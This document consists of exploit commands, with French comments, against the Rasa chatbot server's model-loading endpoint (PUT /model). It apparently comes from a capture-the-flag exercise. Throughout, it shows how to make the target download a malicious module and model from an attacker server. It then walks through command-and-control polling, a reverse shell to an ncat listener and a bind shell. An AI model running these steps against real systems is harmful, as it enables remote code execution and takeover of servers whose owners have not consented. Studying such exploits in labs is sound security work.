python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

version: "3.1"
intents:
- greet
responses:
  utter_greet:
  - text: "PWNED_BY_CTF"
nlu:
- intent: greet
  examples: |
    - hello
    - hi
rules:
- rule: greet rule
  steps:
  - intent: greet
  - action: utter_greet

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

python reverse_server.py --reverse-host 192.168.244.128

Machine attaquante                    Conteneur Rasa (cible)
  │                                        │
  ├─ Lancer server-2.py ──────────────────┤
  ├─ PUT /model ──→ Télécharge pwnmod.py dans /app/
  ├─ PUT /model ──→ Télécharge modèle malveillant → import pwnmod → agent démarre
  │                                        │
  │  ← GET /poll?agent=xxx ───────────────┤  Interrogation toutes les 3s
  ├─ /enqueue?cmd=id ─────────────────────┤
  │  ← GET /poll ─────────────────────────┤  Récupère la commande
  │  ← POST /result ──────────────────────┤  Renvoie le résultat
  ├─ /last?agent=xxx ──→ Lit le résultat

# Lancer sur la machine attaquante
python server-2.py --mode c2 --c2-base-url http://<IP_attaquante>:8000 --port 8000

# Déclencher l'exploit (deux étapes)
curl -X PUT http://<adresse_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_attaquante>:8000/write-module"}}'

curl -X PUT http://<adresse_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_attaquante>:8000/model"}}'

# Envoyer une commande
curl "http://<IP_attaquante>:8000/enqueue?cmd=id"

# Attendre 8 secondes puis lire le résultat (agent interroge toutes les 3s + temps d'exécution)
curl "http://<IP_attaquante>:8000/last?agent=<hostname>"

# Si on ne spécifie pas l'agent (joker)
curl "http://<IP_attaquante>:8000/enqueue?cmd=whoami"
curl "http://<IP_attaquante>:8000/last"

# 1) Écouter sur la machine attaquante
ncat -lvnp 4444

# 2) Lancer server-2.py sur la machine attaquante
python server-2.py --mode reverse --reverse-host <IP_attaquante> --reverse-port 4444 --port 8000

# 3) Déclencher l'exploit
curl -X PUT http://<adresse_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_attaquante>:8000/write-module"}}'

curl -X PUT http://<adresse_rasa>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<IP_attaquante>:8000/model"}}'

# 4) nc reçoit l'invite $, interaction directe

python server-2.py --mode bind --bind-port 4444 --port 8000
# L'agent écoute sur 0.0.0.0:4444 dans le conteneur cible
# ncat <IP_cible> 4444 pour se connecter